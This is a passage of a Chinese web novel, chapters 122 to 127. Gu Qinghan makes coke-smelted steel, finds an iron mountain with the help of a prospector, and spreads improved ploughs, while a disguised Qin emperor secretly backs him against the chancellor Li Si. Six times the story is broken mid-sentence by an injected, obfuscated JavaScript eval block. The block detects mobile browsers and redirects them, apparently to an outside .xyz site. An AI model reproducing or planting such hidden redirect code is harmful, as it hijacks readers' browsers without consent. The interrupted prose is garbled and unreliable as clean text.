见到顾清寒,他兴奋地迎了上来,献宝似的指着一旁刚刚冷却下来的一批钢锭:“顾将军!您快看!用了您说的焦炭冶炼法,这炉子炼出的钢水,杂质少了七成!锻打出来的钢材,比之前咱们缴获的匈奴王庭卫队的兵器还要好!” 牛辅捡起一根钢条,试着掰了掰,使出吃奶的力气,钢条也只是微微弯曲,韧性惊人。 “好家伙!有了这玩意儿,咱们破阵营的弟兄,岂不是人人都能换上宝刀宝甲?”牛辅喜不自胜。 顾清寒拍了拍那尚有余温的钢锭,心中豪情万丈。 李斯想断他的粮草,他便自己开荒屯田,用新农具让粮食翻倍。 李斯想断他的铁料,他便自己开炉炼钢,用更精良的钢材武装全军。 所谓釜底抽薪,也要看抽的是谁的釜,烧的是谁的薪! 当夜,顾清寒又备了些酒菜,施施然地去了赵正下榻的客栈。 “赵老伯,小侄又来叨扰了。” 顾清寒将食盒放下,一脸的愁云惨淡。 嬴政正由陆佩奇陪着下棋,见他这副模样,不由笑道:“清寒老弟,这是遇到什么烦心事了?说来听听,老朽或许能给你出出主意。” 顾清寒叹了口气,自顾自地倒了杯酒,一饮而尽:“唉,别提了。我那点小生意,怕是做不成了。” 他绘声绘色地将商队被劫,货源被断的事说了一遍,当然,隐去了李斯的名字,只说是“咸阳城里一位权势滔天的大人物,看我这九原边民不顺眼,要置我于死地”。 “赵老伯,您是生意场上的前辈,您说,这还有天理吗?还有王法吗?” 顾清寒说得义愤填膺,仿佛自己真是个受了天大委屈的良善商贾。 陆佩奇在一旁听得眼角直抽抽,强忍着才没笑出声。 这位顾少,竟跑到陛下面前,告丞相的刁状,还演得如此逼真,真是个人才。 嬴政捻着棋子,心中早已乐开了花。 这小狐狸,告状都告到朕这儿来了,还想拉朕下水,帮他对付朕的丞相? 有意思,实在有意思! 他面上却不动声色,沉吟片刻,道:“嗯,此事确实棘手。胳膊拧不过大腿,与朝中贵人硬碰,非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705796|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明智之举。” 顾清寒立刻顺杆爬:“是啊!小侄也是这么想的。所以才来请教老伯,您见多识广,可有什么绕开这些关卡的法子?或者……您认不认识什么能弄到上等铁矿石的奇人异士?” 嬴政眼中闪过一丝赞许的笑意,这小子,脑子转得真快。 他这是想绕过官面上的铁料,直接从源头想办法。 “路是死的,人是活的。”嬴政落下一子,语气悠悠,“关中的路走不通,上党、太原方向,山高路远,那位贵人的手,怕是也伸不了那么长吧?至于铁矿石嘛……” 他意味深长地看了顾清寒一眼:“老朽听说,这北地山脉之中,矿藏丰富,只是山民愚昧,不识宝山罢了。清寒老弟手下能人众多,何不派人去那深山老林里探探路?说不定,会有意想不到的收获。” 顾清寒心中一动,赵老伯这是在点他! 自己怎么就没想到,守着九原郡北面的大山,还愁没矿? “老伯一言,惊醒梦中人!” 顾清寒猛地一拍大腿,脸上愁云一扫而空,对嬴政深深一揖,“多谢老伯指点迷津!小侄明白了!” 他如今缺的,不就是一张精准的矿产分布图吗? 而赵老伯既然能点出这一点,说不定…… 顾清寒眼珠一转,又凑了过去,嘿嘿一笑:“老伯,您看,我这人生地不熟的,您能不能……再帮小侄一把?比如,给介绍个懂堪舆寻矿的老师傅?或者,您那三五十万钱的投资,能不能先拨付一部分,让小侄雇人去寻矿?” 嬴政看着他那副无赖又带着点狡黠的模样,差点没绷住笑出声来。 这小子,还真是顺着杆子就往上爬,脸皮之厚,颇有几分自己当年的风范。 “也罢,”嬴政摆摆手,显得有些无奈,“老朽正好认识一位退隐的老工匠,于堪舆之术颇有心得,明日我修书一封,你派人去请便是。至于钱嘛……” 他从怀中掏出一块成色极佳的玉佩,丢给顾清寒:“这是老朽的信物,你拿去咸阳最大的德信钱庄,可支取十万钱。剩下的,等你真找到了矿,做出了成绩,老朽再投不迟。” 顾清寒接过玉佩,入手温润,心中大喜。 钓到大鱼了!还是条会自己吐金币的大鱼! 他连声道谢,心满意足地告辞离去。 第123章 奇人入彀 北山藏宝 第一百二十三章奇人入彀北山藏宝 书房内,陆佩奇终于忍不住道:“陛下,您这……这不就是资敌吗?” “呵呵,”嬴政轻笑一声,将棋盘上的残局缓缓收起,“朕倒要看看,朕的这位好孙儿,拿着朕的钱,用着朕点拨的法子,能不能把李斯这条老狗,逼得跳墙。” 他的目光望向窗外,深邃如夜。 “这盘棋,越来越有趣了。” 顾清寒揣着那块温润的玉佩,踏着月色回到郡守府,脚步都轻快了几分。 书房内,文远依旧在灯下整理着文书,见顾清寒进来,起身相迎。 “主公,看您神情,可是从那位赵老伯处……有所斩获?” “何止是斩获。”顾清寒将玉佩往桌上一放,发出清脆的响声,“这玩意儿,咸阳德信钱庄,见玉可取十万钱。” 文远拿起玉佩,凑到灯下细看,只见玉质温润细腻,雕工古朴大气,一看便知绝非凡品。 他眼中闪过一丝惊异:“这位赵老伯,手笔当真惊人。他究竟是何方神圣?” “是神是鬼,暂时还看不透。不过,”顾清寒嘴角勾起一抹弧度,“他钓鱼,我收线,各取所需罢了。他还给我举荐了一位懂堪舆寻矿的老师傅,说是明日便可派人持他的信去请。” “寻矿?”文远眼神一亮,“主公是想……” “李斯想抽我的薪,我就自己造一座火山给他看看!”顾清寒眼中寒光闪烁,“他断我铁料,我就在九原北山挖出一座铁山!他断我粮草,我就用曲辕犁把这北疆的荒地全变成良田!” 他走到文远身边,低声道:“你立刻从斥候营里挑几个最机灵、最不起眼的好手,连夜出发去咸阳。记住,德信钱庄取钱,要分批次,用不同的身份,务必做得干净利落。另外,拿着赵老伯的信,把那位老师傅给我客客气气地请回来,要当活菩萨一样供着,绝不能有半点怠慢。” “属下明白。”文远领命,脸上也浮现出兴奋之色。 这盘棋,越来越有意思了。 与此同时,千里之外的咸阳,丞相府内,却是另一番景象。 李斯刚刚听完心腹的汇报,脸上露出了久违的满意笑容。 “好,很好!”他抚着长须,语气森然,“封锁所有通往九原的官道,严查商旅,但凡是粮草、铁器、药材,一律扣押!本相倒要看看,他顾清寒能撑多久!” 一名幕僚谄媚道:“相爷此计,真乃釜底抽薪!九原贫瘠,全靠关中物资接济。如今断了其来源,那破阵营无非是无源之水,无本之木,不出三月,必定军心大乱,不攻自破!” “哼,一个黄口小儿,也敢在本相面前耍弄心机。”李斯端起茶杯,轻轻吹了吹热气,“他不是喜欢在三川郡搞什么‘北地义军’吗?等他自己的兵都吃不饱饭了,看他还怎么‘劫富济贫’!” 他仿佛已经看到顾清寒焦头烂额,走投无路的凄惨模样,心中的恶气总算出了一口。 “传信给李由,让他不必再理会那些所谓的‘义军’,不过是癣疥之疾。让他守好关卡,一只耗子都不能放进九原!” “遵命!” 李斯靠在椅背上,闭目养神。 他仿佛已经胜券在握,只等着从九原传来顾清寒服软求饶的消息。 九原郡的日子,却并未如李斯所料那般陷入恐慌。 城外的练兵场上,牛辅的嗓门依旧震天响。 “都给老子把腰杆挺直了!看看你们手里的刀!这可是公输大匠用新炼的精钢给咱们打的,削铁如泥!你们要是还跟娘们儿似的软绵绵,对得起这刀吗?” 他随手从兵器架上抄起一把新出炉的**,对着一根碗口粗的木桩奋力劈下。 “咔嚓!” 一声脆响,木桩应声而断,切口光滑平整。 新兵们看得目瞪口呆,随即爆发出震天的喝彩声。 有了这等利器,他们对未来的战事充满了信心。 工坊区内,公输墨带着一群工匠,正围着一个巨大的水轮和一套复杂的联动装置,兴奋地议论着。 那巨大的水力锻锤模型,在水流的驱动下,正一起一落,有节奏地捶打着一块烧红的铁胚,火星四溅,充满了力量的美感。 自给自足的体系,正在顾清寒的规划下,有条不紊地建立起来。 十日后,前往咸阳的斥候悄然返回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705797|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他们不仅带回了十万钱的银票,还带回了一个人。 一个瘦骨嶙峋,山羊胡,穿着一身洗得发白的旧布衫,眼皮耷拉着,一副没睡醒模样的老头。 “主公,这位便是石勘石老丈。”斥候头领介绍道。 顾清寒打量着这位赵老伯举荐的奇人,心中有些犯嘀咕。这老头,看着比路边晒太阳的老农还普通,真懂寻矿? 石勘掀起眼皮,懒洋洋地扫了顾清寒一眼,又看了看这简朴的书房,撇了撇嘴:“就是你这娃娃,要把老头子从咸阳的安乐窝里折腾到这鸟不拉屎的边关来?” 语气中,满是嫌弃。 顾清寒也不生气,客气地拱了拱手:“石老丈一路辛苦,晚辈顾清寒,有礼了。” “少来这套虚的。”石勘摆摆手,毫不客气地找了张椅子坐下,自顾自地倒了杯茶,呷了一口,又嫌弃地吐回杯里,“什么破茶叶,苦得掉渣。说吧,找老头子来干嘛?先说好,老头子我只看风水,寻龙脉,不干那挖土刨石的粗活。” 顾清寒笑了。这老头,脾气倒是挺大。 他也不多言,只是对牛辅使了个眼色。 牛辅嘿嘿一笑,捧着一个木匣子走了进来。 匣子打开,里面不是金银,而是一块黑乎乎,亮晶晶的石头,还有几块成色极佳的钢锭。 石勘原本耷拉的眼皮猛地睁开,一个箭步冲了过去,拿起那块黑乎乎的石头,捧在手里翻来覆去地看,又用指甲刮了刮,放到鼻子下闻了闻。 “焦炭!这是焦炭!”他浑浊的眼中爆发出惊人的光芒,声音都有些颤抖,“你们……你们从哪弄来这等神物?” 他又拿起那钢锭,用指节轻轻一敲,听着那清越的回响,脸上满是痴迷之色:“好钢!好钢啊!这火候,这质地……乖乖,比少府监那帮眼高于顶的家伙炼出来的还好!” 他猛地抬头,死死盯着顾清寒:“是你弄出来的?” “焦炭是晚辈偶然发现的炼制之法,这钢,是公输大匠用焦炭冶炼而成。”顾清寒微笑道。 “公输墨?那个墨家的叛逆?”石勘眼中更是异彩连连,“好小子,你把他都弄来了?” 第124章 寻龙点穴得宝山 第一百二十四章寻龙点穴得宝山 “正是。”顾清寒从容道,“晚辈请石老丈来,并非是让您干挖土的粗活。而是想请您,为我九原,为这北疆百万军民,寻一条生路。” 他指着墙上巨大的地图,声音变得沉凝有力:“李斯封锁关中,欲断我九原粮草铁料。我九原若想自保,甚至自强,就必须找到自己的铁矿,炼出自己的钢,铸出自己的剑!” 他转向石勘,深深一揖:“晚辈不才,愿以九原郡未来所有矿产两成收益,奉于老丈,并立誓,未来发现的每一座新矿,都可由老丈亲自命名。只求老丈,能助我一臂之力!” 石勘看着眼前这个年轻人,看着他眼中那股不容置疑的决心和炙热的野心,心中的那点不快和嫌弃,早已飞到了九霄云外。 什么风水龙脉,哪有亲手发掘出一座座能改变天下格局的宝山来得痛快! “两成太多,老头子拿了烫手。”石勘摆摆手,脸上竟有了几分红光,仿佛年轻了二十岁,“一成就够!不过,老头子我有几个条件。” “老丈请讲。” “第一,寻矿的队伍,得听我的。我说往东,不能往西。第二,我要最好的工具,最好的护卫,吃穿用度,不能比你这郡守差!第三……”石勘捻了捻山羊胡,嘿嘿一笑,“让公输墨那老小子,把他的宝贝徒弟借我几个打下手!” “没问题!”顾清寒一口答应下来,心中大定,“老丈所需,晚辈无不应允!” 石勘满意地点点头,看着顾清寒,就像看着一块未经雕琢的巨大宝玉:“你这娃娃,有点意思。赵正那老家伙,眼光倒是不错。” 顾清寒心中一动,试探着问道:“晚辈也觉得赵老伯非同常人,不知老丈可知他的来历?” 石勘瞥了他一眼,高深莫测地一笑:“天机,不可泄露。你只要知道,跟着他,有肉吃就行了。” 说完,他背着手,迈着四方步,径自去找公输墨借人去了。 顾清寒看着他的背影,若有所思。 看来,赵老伯这条大腿,比自己想象的还要粗壮得多。 他望向窗外,北方的群山在夜色中连绵起伏,如同一头沉睡的巨兽。 而现在,他有了能唤醒这头巨兽的钥匙。 “李斯……”他轻声自语,“你的噩梦,才刚刚开始。” ...... 石勘这人,看着懒散,一旦动起来,却像上了发条的陀螺,整个郡守府都被他搅得团团转。 他列出一张长长的清单,从特制的寻矿锄、小巧的铜盘罗针,到上好的皮裘、装水的羊皮囊,事无巨细,稍有不合意便吹胡子瞪眼。 最过分的是,他竟点名道姓,要公输墨手下那两个最有灵性的徒弟给他当副手。 公输墨当场就炸了**,护犊子似的挡在徒弟身前:“姓石的,你个寻山探水的神棍,别打我宝贝徒弟的主意!他们是要造国之利器,没工夫陪你满山遍野地玩泥巴!” 石勘也不甘示弱,捻着山羊胡,斜眼看他:“老墨头,你懂什么!老夫这是在寻龙点穴,找的是大秦的根!你那些破铜烂铁,没了老夫找来的矿,连个屁都炼不出来!” 两人一个是机关术的泰斗,一个是堪舆学的奇人,谁也不服谁,在工坊里吵得唾沫横飞,差点就要动手比划。 最后还是顾清寒出面调停,好说歹说,又许诺给公输墨的工坊优先供应最好的酒肉,公输墨才黑着脸,不情不愿地把两个心爱的徒弟“借”了出去。 牛辅被任命为寻矿队的护卫统领,领着五十名精锐破阵营士兵,护送石勘一行人浩浩荡荡地进了九原北面的深山。 一进山,石勘就像换了个人,浑浊的老眼变得精光四射。 他时而趴在地上,抓起一把土放在嘴里细细品尝,然后呸地一声吐掉; 时而拿着个小锤子,对着一块不起眼的石头敲敲打打,侧耳倾听回响; 时而又盯着山壁的走向和植被的疏密,一站就是半天,嘴里念念有词,神神叨叨。 牛辅跟在后面,看得一头雾水,悄声对身边的亲卫嘀咕:“这老头莫不是个疯子吧?哪有这么找矿的?俺看他倒像是在找哪儿的蚂蚁窝更大些。” 话音未落,石勘头也不回地骂道:“你这黑炭头懂个屁!山川地脉,自有其纹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705798|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理!草木生长,皆有其征兆!这叫望气,叫寻踪!跟着老夫,保管让你们开眼!” 牛辅摸了摸鼻子,不敢再多嘴,心里却把这神神叨叨的老头骂了千百遍。 就在九原深山里叮叮当当,人仰马翻之时,咸阳丞相府内,却是一片歌舞升平。 李斯正与几位交好的朝臣饮宴,欣赏着舞姬的曼妙舞姿,心情颇为舒畅。 在他看来,九原那边的顾清寒,此刻应该正为缺粮少铁而焦头烂额,说不定已经开始杀马充饥了。 “相爷,”一名宾客举杯奉承道,“您这一招釜底抽薪,真是高明!那顾清寒不过一勇之夫,没了粮草兵器,便是猛虎也成了病猫,不足为虑了。” 李斯抚须而笑,正要谦逊几句,一名心腹幕僚却脸色煞白,脚步匆匆地从外面闯了进来,在他耳边低语了几句。 李斯脸上的笑容瞬间凝固。 “你说什么?”他的声音不大,却透着一股冰冷的寒意,让周围的歌舞声都为之一滞。 那幕僚又重复了一遍,声音都在发颤:“禀……禀相爷,九原那边……非但没有乱,反而……反而还给全军换装了新打造的兵器,据说那钢材,比……比少府监的还要精良!而且,他们还弄出一种新式农具,开荒垦田,效率倍增,如今九原的军屯规模,比月前扩大了三倍不止!” “哐当!” 李斯手中的青铜酒爵重重地砸在地上,美酒洒了一地。 满座宾客,鸦雀无声。 “不可能!”李斯猛地站起身,眼中满是难以置信的血丝,“绝无可能!本相已封锁所有官道,他从何处得来的铁料?从何处变出来的粮食?难道他是神仙,能凭空造物不成!” 那股被戏耍的愤怒,如同岩浆般在他胸中翻滚。 他精心设计的绝杀之局,不仅没有困死对方,反而像是给对方浇了一瓢热油,让那小子的炉火烧得更旺了! “查!给本相查!”李斯状若疯虎,咆哮道,“掘地三尺也要给本相查出来!他顾清寒背后,到底是谁在捣鬼!本相要将他们,连根拔起,**万段!” 九原,北山深处。 第125章 神犁出世天下动 第一百二十五章神犁出世天下动 一连七八日,寻矿队几乎踏遍了附近的山头,却还是一无所获。 连牛辅都有些沉不住气了,士兵们也怨声载道。 唯有石勘,依旧精力旺盛。 这一日,他沿着一条溪流溯源而上,最终停在了一处巨大的断崖之下。 这断崖光秃秃的,石壁上布满了大片大片暗红色的锈迹,在阳光下显得格外扎眼。 “就是这里了……”石勘的声音带着一丝难以抑制的颤抖,他扔掉手里的拐杖,像个孩子一样冲了过去,用手摩挲着粗糙的岩壁。 “找到了!老夫找到了!”他突然仰天长啸,笑声在山谷间回荡,“龙脉!这就是九原的龙脉啊!” 牛辅等人面面相觑,以为这老头是真的疯了。 石勘却不管不顾,从怀里掏出小锤,奋力在岩壁上一敲,一块人头大小的石头应声滚落。 他小心翼翼地捧起那石头,只见其通体暗红,质地沉重,断面处闪烁着金属的光泽。 “蠢牛!你来看!”石勘兴奋地朝牛辅招手,“看看这是什么!这成色!这分量!这**不是铁矿石,这是一整座铁山!一座能让你们破阵营人人穿上三层重甲的铁山!” 牛辅将信将疑地接过那石头,入手极沉。 他虽不懂矿石,但也知道这玩意儿绝非凡品。 他看着眼前这绵延不知几里的巨大断崖,嘴巴张得能塞下一个拳头。 “我的乖乖……” “快!派人回去报信!”石勘大手一挥,意气风发,“告诉顾清寒那小子,老夫给他找到了足以颠覆天下的本钱!还有,这座山,从今天起,就叫‘天工山’!老天爷的‘天’,公输墨的‘工’!气死他个老墨头!” 消息传回郡守府,顾清寒看着那块分量十足的矿石,脸上露出了计划通盘的笑容。 他知道,自己这盘棋,最关键的一块基石,已经稳稳落下。 “文远。” “属下在。” “传我的令,”顾清寒的目光落在沙盘上,手指却从九原,划向了北方的草原,又绕到了东边的燕赵故地,“第一批‘天工钢’,不铸刀,不造甲。” 文远一愣:“那主公的意思是?” 顾清寒嘴角勾起一抹玩味的弧度:“铸成犁头,最锋利的曲辕犁犁头。李斯不让我从关中买东西,那我就把东西卖到关外去。我要让整个北疆的百姓都知道,用我九原的犁,能种出最多的粮。用我九原的钢,才能保住自己的家。” 他顿了顿,声音变得幽远而坚定。 “李斯想和我争一城一地之得失,我要的,却是这天下人心。” 九原,天工坊。 冲天的热浪几乎要将空气扭曲,巨大的水力锻锤在公输墨的咆哮声中,有节奏地起落,每一次捶打,都伴随着震耳欲聋的轰鸣和漫天飞溅的火星。 “火候!注意火候!三号炉的温度再高一点!” 公输墨赤着上身,古铜色的皮肤上挂满了汗珠,眼睛里却闪烁着狂热的光芒。 几天前,当他听说顾清寒要把第一批“天工钢”全都用来打造犁头时,他气得胡子都翘了起来,指着顾清寒的鼻子骂他是暴殄天物,拿龙肝凤髓喂猪。 可当顾清寒将整个计划和盘托出后,公输墨沉默了。 他盯着地图看了整整一夜,第二天,便一头扎进了工坊,比之前打造震天雷时还要疯狂。 他明白了。**,靠的是刀剑。 诛心,靠的却是这能让千万人吃饱饭的犁头。 后者,比前者狠多了。 “成了!”随着最后一锤落下,一名膀大腰圆的匠人兴奋地大吼一声,用铁钳夹起一块刚刚成型的犁头,浸入水中。 “嗤啦——” 白色的水汽蒸腾而起,那犁头通体乌黑,刃口处却在水汽中显露出一道雪亮的白线,锋锐之气逼人。 牛辅闻讯赶来,看见工匠们宝贝似的捧着一堆黑乎乎的铁疙瘩,不满地嚷嚷道:“顾少也真是,这么好的钢,不给咱们破阵营的弟兄换刀,全打成这些个玩意儿了。这玩意儿能上阵杀敌?” 他随手拿起一个刚冷却的犁头,入手沉甸甸的,比寻常犁头重了近半。 他撇撇嘴,对着旁边试刀用的木桩,学着劈砍的架势,随意挥了过去。 “噗嗤!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713591|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声轻响,坚硬的木桩竟如同豆腐一般,被犁头前端的尖刃轻松切入寸许。 “我的乖乖!”牛辅眼珠子都快瞪出来了。 他把犁头翻过来,看着那闪着寒光的刃口,忍不住伸出手指摸了摸,又飞快地缩了回来。 “公输大匠,这……这玩意儿比俺腰上这把刀还快!” 公输墨得意地哼了一声,捻着被燎掉半截的胡子:“那是自然!此乃‘天工神犁’,用了顾将军的法子淬火,削铁虽不说如泥,但开垦荒地,绝对如切腐木!” 牛辅爱不释手地掂量着手里的犁头,咧嘴一笑:“顾少,俺觉得这玩意儿比刀好使!以后要是跟人干架,一人发一个,抡圆了砸过去,铁甲都给他砸个窟窿!” 周围的工匠们闻言,都哄笑起来。 郡守府,书房内。 顾清寒的手指在沙盘地图上缓缓划过,从九原出发,绕过李斯重兵布防的河东,指向了北方的雁门、代郡,以及东边的上党山区。 “李斯能封锁官道,但他封锁不了山间的小路。他能查抄商队,但他查不了走村串户的货郎。” 顾清寒的语气平静,却透着一股自信。 文远在一旁点头补充:“主公的意思是,让李山河的人,化整为零,扮作行商货郎,将这些神犁悄悄运出去?” “不只是悄悄运出去。”顾清寒眼中闪过一丝狡黠,“还要大张旗鼓地用出去。找几个村子,免费送他们几把,让他们用。百姓的眼睛是雪亮的,只要东西好,口碑传出去,比我们喊破嗓子都管用。至于价格嘛……” 他笑了笑:“成本价。我不要赚钱,我要的是让整个北疆的百姓都知道,跟着我顾清寒,有饭吃。” 文远眼中光芒一闪,躬身道:“主公此计,远胜千军万马。属下这就去安排。” 正在此时,亲兵来报,乌桓部族的阿**头领求见。 不多时,阿**大步流星地走了进来,比之上次,他眼中更多了几分敬畏和信服。 “顾右庶长,”他躬身行礼,“哈丹长老命我前来,一是告知右庶长,草原上已有七个部落与我乌桓暗中结盟,只待时机。二是……想再求购一些震天雷。” 第126章 天工犁下种人心 第一百二十六章天工犁下种人心 “阿**头领来得正好。”顾清寒示意牛辅将一口崭新的曲辕犁抬了进来,“我正有一样新礼物,要送给哈丹长老和草原上的朋友们。” 阿**看着那造型奇特的农具,有些发懵。 他们草原人,要这玩意儿干嘛? 顾清寒亲自为他演示,讲解这曲辕犁如何省力,如何能深耕土地,再配上这“天工犁头”,便是北地坚硬的土地,也能轻易开垦。 “授人以鱼,不如授人以渔。”顾清寒看着他,“震天雷能帮你们打赢一场仗,但这神犁,却能让你们的部族,从此不再为过冬的粮食发愁。一个强大的部落,需要的不仅是勇猛的战士,更需要能填饱族人肚皮的土地。” 阿**怔怔地看着那闪着寒光的犁头,又看了看顾清寒。 他忽然明白了,眼前这个汉人,他的眼光,早已超越了单纯的征伐与杀戮。 他给乌桓的,不只是一把刀,更是一条活路。 “我代哈丹长老,代乌桓所有部众,谢过顾右庶长!”阿**郑重地单膝跪地,行了一个草原上最崇高的大礼。 当晚,顾清寒又拎着酒菜,溜达到了赵正下榻的客栈。 “赵老伯,小侄的生意,开张了!”顾清寒一进门,就喜气洋洋地嚷道。 嬴政正和陆佩奇对弈,闻言抬起眼皮,笑道:“哦?这么快就找到销路了?” “那是自然!也不看是谁指点的。” 顾清寒毫不客气地给自己倒了杯酒,绘声绘色地将自己打造天工神犁,准备以成本价行销北疆,以农具换人心的计划说了出来。 陆佩奇站在嬴政身后,眼观鼻,鼻观心,努力让自己看起来像一尊没有感情的石雕。可他那微微抽搐的眼角,却出卖了他内心的波澜壮阔。 疯了,这顾少一定是疯了。 当着陛下的面,洋洋得意地讲述自己如何收买人心,图谋天下。这不叫**,这叫骑在龙头上拔须。 更离谱的是,陛下非但不怒,反而听得津津有味,浑浊的老眼中竟透着几分……欣赏? “好!好一个以农具换人心!”嬴政听完,一拍大腿,发出一阵爽朗的大笑,笑得前仰后合,连眼泪都快出来了,“清寒老弟,你这脑子,可比那些只会读死书的腐儒好用太多了!他们想着怎么从百姓身上刮油水,你却想着怎么往百姓的锅里添米。高!实在是高!” 顾清寒嘿嘿一笑,举起酒杯:“还是赵老伯您点拨得好,那铁矿石的事,若非您指点,小侄现在还在为李……为那些权贵发愁呢。” “哈哈哈,此乃你自己聪慧,与老朽何干?”嬴政笑罢,端起酒杯一饮而尽,随即话锋一转,看似随意地问道:“只是,这犁头虽好,但光靠你手下那些人扮作货郎,怕也送不了多远。北地六郡,地广人稀,山高路远,等你把犁头送到,黄花菜都凉了。” 顾清寒心中一动,知道正戏来了。他愁眉苦脸地叹了口气:“老伯说的是。小侄也正为此事犯愁。我毕竟人微言轻,根基只在九原。那些大商贾,谁又肯为了我这点小生意,去得罪咸阳的大人物呢?” 他眼巴巴地看着嬴政,那眼神,活像一只等着主人投喂的猎犬。 陆佩奇在一旁看得胃疼。他发誓,他从未见过如此厚颜无耻之人。 嬴政被他这模样逗乐了,捻着胡须,沉吟片刻:“嗯……此事倒也不是全无办法。老朽在雁门郡和代郡,倒是认识几家做皮**生意的老朋友,他们手下的商队常年行走于山野村落之间。你若信得过,老朽可以修书一封,让他们代你售卖这些‘天工神犁’。至于钱款,他们可以直接换成牛羊皮**,或是当地的特产药材运回九原,也省了你的人来回奔波的辛苦。” 顾清寒眼睛一亮,猛地站起身,对着嬴政深深一揖:“老伯此举,无异于雪中送炭!小侄……小侄真不知该如何感谢您才好!” “哎,你我忘年之交,说这些就见外了。”嬴政摆摆手,显得云淡风轻,“老朽不过是投了点钱,自然也盼着你的生意能做大做强嘛。” 他顿了顿,又补充道:“对了,你那些犁头,送到雁门、代郡,不妨就说是我‘赵家商号’的新货。如此一来,即便有人想找麻烦,也得先掂量掂量。” 顾清寒心中大喜,这赵老伯,不仅给了渠道,还主动把名头借了出来。这简直不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713592|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是大腿,这是天柱啊! “多谢老伯!” 送走心满意足,脚步都轻快了几分的顾清寒,陆佩奇终于忍不住了:“陛下,您……您这是在帮他挖大秦的墙角啊!还用您的名义……” “墙角?”嬴政轻哼一声,重新坐回棋盘前,目光落在棋局上,却仿佛穿透了时空,“若这墙角如此轻易就能被一把犁头挖动,那便是它自己烂了,朽了!朕倒要看看,他这把犁,究竟能翻出多深的土来。” 他落下一子,声音沉稳而悠远:“李斯以为,天下是靠严刑峻法管出来的。这小子却觉得,天下是靠一口口饭喂出来的。孰对孰错,朕也想看看分晓。去,传朕的密诏,让雁门郡守和代郡郡守,对‘赵家商号’的生意,多加照拂,不得有误。” 陆佩奇躬身领命,心中却翻江倒海。陛下这哪里是在看戏,分明是亲自下场,给顾清寒当起了最大的靠山。 可怜的**,还在沾沾自喜于自己的“釜底抽薪”之计,却不知,他要对付的人,身后站着的是他最敬畏的君王。 …… 代郡,一处偏远的山村。 深秋的寒风卷着枯叶,村口的老槐树下,围着一群衣衫褴褛的村民。他们神情麻木,目光呆滞地看着村里唯一的几头瘦骨嶙峋的老牛,被村长和几个壮丁套上那笨重的直辕犁,费力地在坚硬的土地上划出一道浅浅的白痕。 “咳!咳咳!”拉犁的汉子累得满头大汗,不停地咳嗽,翻起的土块又干又硬,还不如石头好用。 就在众人唉声叹气之时,一队挂着“赵”字旗号的商队,赶着几辆马车,叮叮当当地进了村。 为首的是个独眼汉子,正是李山河。他翻身下马,对着一脸警惕的村长拱了拱手,嗓门洪亮:“老乡,别怕,我们是关中赵家商号的,路过此地,想讨口水喝。” 村民们见他们虽然人高马大,但面带笑意,不像官差那般凶神恶煞,警惕心稍减。村长递过去一碗浑浊的井水,叹气道:“客官,不是我们不招待,实在是……家里都快揭不开锅了。” 李山河的目光落在田里那龟速前进的犁上,笑道:“老乡,我看你们这地,不好耕啊。” 第127章 不**,就当没看见 第一百二十七章不**,就当没看见 “何止是不好耕,”村长苦着脸,“咱们这儿是山地,石头多,土又硬,一年到头,累死累活,收的粮食还不够交租税的。” “那你们不妨试试我们商号的新家伙。”李山河一挥手,手下立刻从马车上抬下一架崭新的曲辕犁,那乌黑发亮,闪着寒光的犁头,瞬间吸引了所有人的目光。 